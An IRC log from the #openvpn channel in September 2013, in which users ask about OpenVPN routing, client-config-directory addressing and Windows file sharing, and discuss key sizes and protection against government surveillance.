16:19 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
16:25 -!- wallbroken [~wallbroke@151.56.231.100] has quit []
16:26 -!- p3rror [~mezgani@41.249.112.162] has quit [Read error: Connection reset by peer]
16:29 -!- p3rror [~mezgani@41.248.184.189] has joined #openvpn
16:40 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
16:53 -!- master_o1_master [~master_of@p4FD7BDF4.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
16:54 -!- averagecase [~anon@dslb-088-078-145-172.pools.arcor-ip.net] has joined #openvpn
16:55 -!- master_of_master [~master_of@p4FF2476C.dip0.t-ipconnect.de] has joined #openvpn
17:00 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:05 -!- klong-2 [~klong@207.115.88.202] has joined #openvpn
17:06 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Ping timeout: 240 seconds]
17:08 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Excess Flood]
17:09 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:23 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
17:23 -!- averagecase [~anon@dslb-088-078-145-172.pools.arcor-ip.net] has quit [Quit: Verlassend]
17:25 -!- DemonWav [~DemonWav@205.143.217.62] has joined #openvpn
17:26 < DemonWav> I installed openvpn-as and it started intercepting any and all of my webserver traffic before nginx would
17:26 < DemonWav> and any time I load any subdomain, it always 100% of the time points to the openvpn-as server
17:26 -!- klong-2 [~klong@207.115.88.202] has quit [Ping timeout: 260 seconds]
17:26 < DemonWav> it was really pissing me off so I completely removed openvpn, openvpn-as, and anything else regarding openvpn that I could think of
17:26 < DemonWav> but it's still doing it
17:27 < DemonWav> any suggestions on what is causing this problem?
17:30 -!- chiiph [~chiiph@unaffiliated/chiiph] has quit [Remote host closed the connection]
17:30 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn
17:30 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
17:30 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
17:32 -!- klong- [~klong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Ping timeout: 240 seconds]
17:32 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:33 -!- mode/#openvpn [+v s7r] by ChanServ
17:34 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:44 < rob0> !as
17:44 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
17:53 -!- adac [~adac@chello080109174123.tirol.surfer.at] has quit [Ping timeout: 260 seconds]
17:54 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:55 -!- DemonWav [~DemonWav@205.143.217.62] has left #openvpn ["Leaving"]
17:59 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
18:00 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
18:00 -!- mode/#openvpn [+v s7r] by ChanServ
18:01 -!- p3rror [~mezgani@41.248.184.189] has quit [Ping timeout: 245 seconds]
18:06 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
18:15 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:39 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
18:50 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Connection reset by peer]
18:50 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 260 seconds]
18:54 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:11 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
19:12 -!- takamich_ [~takamichi@173.244.199.114] has joined #openvpn
19:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Read error: Connection reset by peer]
19:15 -!- takamich_ [~takamichi@173.244.199.114] has quit [Read error: Connection reset by peer]
19:35 -!- raidz is now known as raidz_away
20:02 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
21:06 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 245 seconds]
21:08 -!- troyt [~troyt@2601:7:6d00:432:c092:cdff:fe0b:92a9] has quit [Ping timeout: 264 seconds]
21:25 -!- krapper [krapper@territory.krapper.net] has quit [Quit: Disconnecting from stoned server.]
21:25 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
21:34 -!- Linmu [~Linmu@203.70.194.104] has quit [Quit: leaving]
22:04 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Read error: Connection reset by peer]
22:04 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
22:07 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
22:08 -!- troyt [~troyt@2601:7:6d00:432:1849:7dff:fe26:5c04] has joined #openvpn
22:19 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 268 seconds]
22:42 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
22:53 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 264 seconds]
22:56 -!- wallbroken [~wallbroke@151.56.231.100] has quit []
23:18 -!- rapalax [~rapalax@94.100.23.163] has joined #openvpn
23:18 < rapalax> Trying to setup an OpenVPN server on my ubuntu box, all seems good but I am trying to route traffic to the Server's LAN... The docs tell you how to get the client to route to the subnet with a push directive, but how do I get my subnet to route to the VPN server ?
23:19 < rapalax> i.e: Remember that these private subnets will also need to know to route the OpenVPN client address pool (10.8.0.0/24) back to the OpenVPN server.
23:48 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 256 seconds]
23:50 -!- wallbroken [~wallbroke@151.56.231.100] has joined #openvpn
23:54 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
23:55 -!- Denial- [Denial@05417302.skybroadband.com] has joined #openvpn
23:58 -!- JRocha [~JRocha@200.189.189.47] has joined #openvpn
23:58 -!- _jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
23:59 -!- krapper [krapper@territory.krapper.net] has quit [Quit: Disconnecting from stoned server.]
23:59 -!- Denial [Denial@05417302.skybroadband.com] has quit [Read error: Connection reset by peer]
23:59 -!- krapper [~krapper@23.21.191.223] has joined #openvpn
23:59 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 240 seconds]
23:59 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 240 seconds]
23:59 -!- krapper [~krapper@23.21.191.223] has quit [Client Quit]
23:59 -!- jrgcombr [~JRocha@200.189.189.47] has quit [Remote host closed the connection]
23:59 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 240 seconds]
23:59 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 240 seconds]
23:59 -!- Denial- is now known as Denial
23:59 -!- krapper [krapper@territory.krapper.net] has joined #openvpn
--- Day changed Sat Sep 07 2013
00:00 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
00:00 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Quit: Felt like it.]
00:00 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
00:01 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
00:02 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
00:05 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
00:13 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
00:30 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:43 -!- Rallias [~Rallias@unaffiliated/gasseus] has joined #openvpn
00:46 -!- klong-2 [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
00:47 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 264 seconds]
01:04 -!- Rallias [~Rallias@unaffiliated/gasseus] has quit [Remote host closed the connection]
01:05 -!- Rallias [~Rallias@unaffiliated/gasseus] has joined #openvpn
01:17 -!- Rallias [~Rallias@unaffiliated/gasseus] has quit [Ping timeout: 264 seconds]
01:17 -!- Rallias [~Rallias@unaffiliated/gasseus] has joined #openvpn
01:18 -!- Rallias [~Rallias@unaffiliated/gasseus] has quit [Remote host closed the connection]
01:22 -!- Rallias [~Rallias@unaffiliated/gasseus] has joined #openvpn
01:27 -!- Rallias [~Rallias@unaffiliated/gasseus] has quit [Read error: Operation timed out]
01:30 -!- Rallias [~Rallias@unaffiliated/gasseus] has joined #openvpn
01:33 -!- Rallias [~Rallias@unaffiliated/gasseus] has quit [Read error: Operation timed out]
01:37 -!- klong-2 [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Quit: Nettalk6 - www.ntalk.de]
01:40 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
02:04 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
02:11 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
02:13 -!- JAVACODER [~JAVACODER@2.190.37.163] has joined #openvpn
02:34 -!- FuryFoo [~opera@server.mastermindnetworks.org] has joined #openvpn
02:35 < FuryFoo> Hello everyone
02:37 < FuryFoo> Do you believe OpenVPN is still secure from abuse gov snooping ?
02:37 < FuryFoo> I mean if the NSA has broken most of the comercial encryption the Chinese gov probably has done so as well .
02:38 < FuryFoo> Could we guarantee some level of protection for political distends and whistle blowers ?
02:38 < FuryFoo> Or are we totally dead in our tracks ?
02:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:40 < copper> FuryFoo: I asked pretty much the same question yesterday
02:41 < copper> some of the answers included using 2048 or 4096 bit keys and TLS auth
02:41 < copper> http://openvpn.net/index.php/open-source/documentation/howto.html#security
02:41 <@vpnHelper> Title: HOWTO (at openvpn.net)
02:41 < FuryFoo> Well I have a TeamSpeak server and cookies if anyone wants to have a chat :)
02:42 < copper> I suspect that question will come back a lot
02:42 < FuryFoo> I for one still struggle to believe this is real and not some nightmare .
02:43 < FuryFoo> 4096 came to my mind but last time some implemented it he reported huge ping times of 30 seconds or more.
02:44 < copper> I upgraded to 4096 last night and I have no performance issues
02:44 < copper> ping time is normal
02:44 < copper> 50ms
02:44 < copper> also: http://www.theguardian.com/world/2013/sep/05/nsa-how-to-remain-secure-surveillance
02:44 < FuryFoo> So the speed loss was negligible ?
02:44 <@vpnHelper> Title: NSA surveillance: how to stay secure | Bruce Schneier | World news | theguardian.com (at www.theguardian.com)
02:45 < FuryFoo> I've read it :D As with most articles
02:45 < copper> I think it only affects client / server negociation
02:45 < copper> you use a symmetric block cipher for data anyway
02:45 < FuryFoo> The handshake is never much of an issue in my experience
02:46 < FuryFoo> What box do you have ? I only have a quad with 8 GB
02:46 < copper> should be fine
02:47 < copper> it's the dh4096.pem generation that takes a lot of time
02:47 < copper> but all of my devices initiate the VPN link just as fast as they did before
02:47 < FuryFoo> Also please consider writing a idiots guide to 4096 implementation . I'm sure it will be quite popular.
02:47 < copper> it's mentionned in the HOWTO
02:48 < copper> basically you just change the "keysize" variable in ./vars
02:48 < copper> from 1024 to 2048 or 4096
02:48 < copper> I chose 4096 because, why not
02:49  * FuryFoo is suspicious of anything that looks simple when it come to OpenVPN . Had a hell of a experience implementing  v 2.3 :P
02:50 < FuryFoo> Do you think it will be feasible to use 8192 anytime in the near future ?
02:51 < copper> dude, I have no idea
02:51 < copper> I have zero competence in such matters
02:52 < copper> right now, I wish that OpenVPN and other crypto software would clearly state what is safe to use and how to set it up
02:52 < copper> (basically what you just said)
02:52 < FuryFoo> Well OpenVPN with PolarSSL seem to be the safest bet we have
02:52 < Aketzu> safe as in "clients can connect in reasonable time" or "nobody can crack it"
02:53 < Aketzu> anyhow, if NSA has cracked factorization math then it's probably same whether you use 512bit or 8192bit keys
02:54 < FuryFoo> One of my TS server is used by Chinese guys and in the past 24 hours we've heard a radio interference every time someone connected without a VPN.
02:54 < Eugene> There are no publically known exploits against openvpn when implemented properly.
02:54 < Eugene> It's TLS handshake is not susceptible to the same sort of attacks that affect HTTPS
02:54 < FuryFoo> I tend to agree with Eugene , however in these days a small dose of paranoia seems healthy if not required.
02:55 < Eugene> With proper re-keying, even if the symmetric encryption key is stolen(by cracking TLS), old data is protected because the key is changed regularly(default of an hour)
02:55 < copper> nice
02:56 < Eugene> If you're really paranoid, you can run inside of a static key tunnel, which does not have any sort of handshake.
02:56 < FuryFoo> For me it's kind of personal. I lived under good old communism with secret service intercepting anyone and beating the crap out of people for any reason. We've went trough a bloody revolution and now it seems that the nightmare is back but this time it's on a global scale. I do hope that my ranting will not upset anyone :D
02:56 < Eugene> So an attacker would first need to steal your static key, THEN crack RSA ;-)
02:57 < Eugene> Encryption is important to me, but I'm a realist as to privacy - it's always easy to rubber-hose somebody
02:57 < Eugene> !shotgun
02:57 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
02:58 < Eugene> Gotta unwrap the crypto sometime
02:58 < FuryFoo> I believe the articles mentioned that the NSA "cracking" consisted mostly of finding out way to steal keys.
02:58 < FuryFoo> LOL on shotgun security.
02:58 < Eugene> The NYT has no fucking clue what they're talking about
02:58 < Eugene> Basically, the NSA has broken RC4 (old news), and have compromised CAs(no surprise)
02:58 < FuryFoo> I do with we had rubber-hose crypto
02:58 < FuryFoo> *wish
02:59 < FuryFoo> I don't go by NYT , rather Ars , Wire , CNET and Guardian
02:59 < Eugene> Better crypto algorithms are needed, but it's always been a cat+mouse game, and always will be.
02:59 < copper> Eugene: John Markoff (of Kevin Mitnick fame) contributed to the article ;)
03:00 < Eugene> Mitnick was an idiot.
03:00 < FuryFoo> Indeed but this time the cat seems to be a bit too dam well equiped.
03:00 < Eugene> Build better mice
03:01 < Aketzu> or lots of mice
03:02 < FuryFoo> We are lots of mice but the number of cats is too dam high
03:02 < Eugene> Wow, just realized I slept in my openvpn shirt today
03:02 < Eugene> Maybe I should shower.
03:04  * FuryFoo goes to implement 4096 . Thanks for the chat guys.
03:04 -!- FuryFoo [~opera@server.mastermindnetworks.org] has left #openvpn []
03:09 < wallbroken> hi Eugene, one question about ccd: in the ccd examples i get "ifconfig-push local-ip remote-ip" example: "ifconfig-push 10.0.0.6 10.0.0.5"  but in the manpage i state "ifconfig-push local remote-netmask"
03:09 < Eugene> !/30
03:09 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
03:10 < wallbroken> yeah i'm using "topology subnet"
03:11 < wallbroken> but the question is a little bit different, as a second parameter i don't know if i need to use subnet or remote-ip
03:12 < wallbroken> considering that i'm using tun, i should use ifconfig-push 10.0.0.6 10.0.0.5
03:12 < wallbroken> !topology
03:12 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
03:13 < Eugene> It's a mask
03:13 < Eugene> The docs could use improving
03:13 < Eugene> And I wish /30 would go away completely
03:17 < wallbroken> something goes wrong: "ERROR: --ip-win32 dynamic [offset] : offset is outside of --ifconfig subnet"
03:17 < copper> the contents of ipp.txt are confusing, too
03:18 < copper> like, the contents in ipp.txt say .4 for my client that is .6, .8 for my client that is .10, etc
03:19 < Eugene> !/30
03:19 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
03:19 < Eugene> .4 is the first address in the /30
03:20 < Eugene> .6 is the third, and thus the one that is assigned to the client's end of the tunnel
03:20 < Eugene> !ipp
03:20 <@vpnHelper> "ipp" is (#1) the option --ifconfig-pool-persist ipp.txt does NOT create static ips or (#2) Note that the entries in this file are treated by OpenVPN as suggestions only, based on past associations between a common name and IP address. They do not guarantee that the given common name will always receive the given IP address. If you want guaranteed assignment, see !iporder and !static
03:20 < Eugene> But don't worry yourself with what's in ipp.txt
03:21 < Eugene>  Or use /30, for that matter. See #5 above.
03:22 < wallbroken> ok
03:22 < wallbroken> now seems to work
03:22 < wallbroken> but it takes a long time getting the ip
03:23 < wallbroken> message: "Sat Sep 07 10:21:58 2013 us=546875 TEST ROUTES: 0/0 succeeded len=0 ret=0 a=0 u/d=down
03:23 < wallbroken> Sat Sep 07 10:21:58 2013 us=546875 Route: Waiting for TUN/TAP interface to come up..."
03:23 < wallbroken> repeated many times
03:23 < wallbroken> before getting connection.
03:23 < wallbroken> it's normal?
03:23 < wallbroken> about 10 - 15 times
03:24 < Eugene> Nope. What's the OS?
03:24 < wallbroken> windows XP client
03:24 < Eugene> !windows
03:24 <@vpnHelper> "windows" is (#1) computers are like air conditioners, they work well until you open windows. or (#2) http://secure-computing.net/files/windows.jpg for funny or (#3) http://secure-computing.net/files/windows_2.jpg for more funny
03:25 < copper> holy JPEG lossy artifacts, Batman!
03:25 < wallbroken> yes, but without using ccd, i never get this behavior. it happens only using ccd.
03:25 < copper> sometimes I wonder if people recompress JPEGs with stupidly low quality settings just because
03:31 -!- JAVACODER [~JAVACODER@2.190.37.163] has quit [Ping timeout: 260 seconds]
03:32 -!- adac [~adac@95.171.49.30] has joined #openvpn
03:51 < wallbroken> sorry, using "topology subnet" i get .1 for the server and poolling for clients stars from .2 .3 .4 and so on.. right?
03:53 < Eugene> cORRECT
04:00 < wallbroken> ok, so, configuring ccd file with "ifconfig-push 10.0.0.2 10.0.0.1" i get client error while connecting, but if i use "ifconfig-push 10.0.0.5 10.0.0.4" it works well.
04:00 < wallbroken> both sides are cofigured with "topology subnet"
04:01 < wallbroken> 10.0.0.2 is the client ip i want to assign for that specific client
04:08 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
04:09 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
04:12 -!- JSharpe [~JSharpe@h79-143-82-250.host.redstation.co.uk] has joined #openvpn
04:15 -!- cyberspace- [20253@ninthfloor.org] has quit [Read error: Operation timed out]
04:25 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:38 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:55 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
04:56 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:00 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
05:01 -!- adac [~adac@95.171.49.30] has quit [Ping timeout: 260 seconds]
05:16 -!- adac [~adac@95.171.49.30] has joined #openvpn
05:27 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:42 < wallbroken> ok, i changed "ifconfig-push 10.0.0.5 10.0.0.4" in ccd file to "ifconfig-push 10.0.0.5 255.255.255.0" now i don't need to wait long time before connecting, i can ping server but i can't redirect. (with the first configuration in can)
05:42 < caelian> 14
05:42 < caelian> nvm, my mistkae
06:00 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xrpzedroqnuvvter] has quit [Ping timeout: 256 seconds]
06:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
06:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:20 -!- julius_ [~14354s@141.41.92.122] has joined #openvpn
06:20 < julius_> hi
06:20 < julius_> the current openvpn windows .exe installer got a bug, the openvpn-gui executable is installed to be started as normal user which doesnt work. results in "no TAP Adapters avaialable...."
06:21 < julius_> i also got a question, i got the exact same config on two hosts (with different certificates) both hosts can connect to the openvpn but one cant ping any other hosts while the other can?
06:22 < julius_> is it possible that i need to change the network "zone" that windows suggested for the 10.8.2.x network?
06:25 < julius_> http://pastebin.ca/2444974 this is the config
06:43 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 268 seconds]
06:52 < xiu> w/wg 12
06:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:02 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
07:03 -!- gffa [~unknown@unaffiliated/gffa] has quit [Read error: Connection reset by peer]
07:04 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:04 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
07:05 -!- p3rror [~mezgani@41.248.177.239] has joined #openvpn
07:05 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
07:15 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
07:35 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:58 < xorox90>  How can I use windows file sharing through openvpn?, It works perfectly when I use bridge mode, but I can only see list of directory when I use routing mode please help me
08:02 < havoc> xorox90: I don't have a lot of time, but the short answer is that you need a WINS server for Windows File Share *Browsing* in across routers
08:03 < rob0> and proper routing, of course
08:03 < havoc> file sharing itself will work without it, you just need to specify the target host by IP or FQDN
08:03 < havoc> ^^^^ and that
08:06 < xorox90> havoc: Dose that mean I can only enable windows file sharing when I have server windows?
08:06 < havoc> no
08:07 < havoc> put \\<ip addr of share machine>\ in Windows File Explorer
08:11 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
08:11 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
08:15 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
08:17 -!- p3rror [~mezgani@41.248.177.239] has quit [Ping timeout: 264 seconds]
08:36 -!- Rallias [~Rallias@unaffiliated/gasseus] has joined #openvpn
08:44 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
08:54 -!- Rallias [~Rallias@unaffiliated/gasseus] has quit [Read error: Operation timed out]
08:58 -!- Rallias [~Rallias@unaffiliated/gasseus] has joined #openvpn
08:59 -!- JSharpe [~JSharpe@h79-143-82-250.host.redstation.co.uk] has quit [Read error: Operation timed out]
09:02 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
09:07 -!- kro[au] [~thatguy@kgovps.com] has quit [Excess Flood]
09:08 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
09:08 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Killed (idoru (Spam is off topic on freenode.))]
09:32 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
09:35 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
09:37 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
09:39 -!- aegis [~aegis@184.75.214.18] has quit [Ping timeout: 245 seconds]
09:39 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
09:48 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
09:50 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
10:08 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:11 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
10:56 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 264 seconds]
11:00 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
11:06 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 245 seconds]
11:06 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
11:09 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
11:10 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
11:18 -!- aegis [~aegis@184.75.214.18] has joined #openvpn
11:21 -!- JSharpe [~JSharpe@188.227.181.234] has joined #openvpn
11:27 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
11:41 -!- julius_ [~14354s@141.41.92.122] has quit [Ping timeout: 264 seconds]
11:54 -!- Poster|x is now known as Poster
11:56 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
11:57 -!- Eagleman [~Eagleman@84.107.205.159] has joined #openvpn
12:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
12:16 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
12:18 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:22 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
12:22 -!- mode/#openvpn [+v s7r] by ChanServ
12:22 -!- verdoc [~quassel@198.71.82.248] has quit [Quit: No Ping reply in 180 seconds.]
12:22 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has joined #openvpn
12:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
12:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 268 seconds]
12:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:42 -!- stasher [~dan@cpe-24-24-221-190.socal.res.rr.com] has joined #openvpn
12:42 < stasher> if I have 2 profiles on a server, can they use the same tun device?
12:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:46 < stasher> or, a better question is, can I have a single instance listen on two different ports that use the same internal network?
12:48 < Poster> not directly, but you can use netfilter/pf to deliver that result
12:48 < Poster> assuming they're both TCP or UDP
13:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:14 -!- JSharpe_ [~JSharpe@5.63.151.180] has joined #openvpn
13:15 -!- JSharpe [~JSharpe@188.227.181.234] has quit [Read error: Connection reset by peer]
13:16 -!- aegis [~aegis@184.75.214.18] has quit [Ping timeout: 260 seconds]
13:20 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Quit: Bye.]
13:22 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
13:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
13:26 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 276 seconds]
13:31 -!- aegis [~aegis@184.75.214.82] has joined #openvpn
13:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:34 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
13:37 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
13:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:39 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
13:39 -!- mode/#openvpn [+o dazo_afk] by ChanServ
13:43 -!- dazo_afk is now known as dazo
13:44 -!- JSharpe [~JSharpe@ip5-63-144-28.lon.ukinetcom.net] has joined #openvpn
13:44 -!- JSharpe_ [~JSharpe@5.63.151.180] has quit [Ping timeout: 264 seconds]
13:50 -!- sysRPL [~bobswagga@97.101.214.44] has quit [Ping timeout: 260 seconds]
14:02 -!- sysRPL [~bobswagga@46.165.196.12] has joined #openvpn
14:10 -!- sysRPL [~bobswagga@46.165.196.12] has quit [Ping timeout: 264 seconds]
14:14 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 240 seconds]
14:15 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
14:19 -!- JSharpe [~JSharpe@ip5-63-144-28.lon.ukinetcom.net] has quit [Ping timeout: 245 seconds]
14:25 -!- sysRPL [~bobswagga@97.101.214.44] has joined #openvpn
14:35 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
14:37 -!- Devastatr [~devas@186.214.110.185] has joined #openvpn
14:37 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 245 seconds]
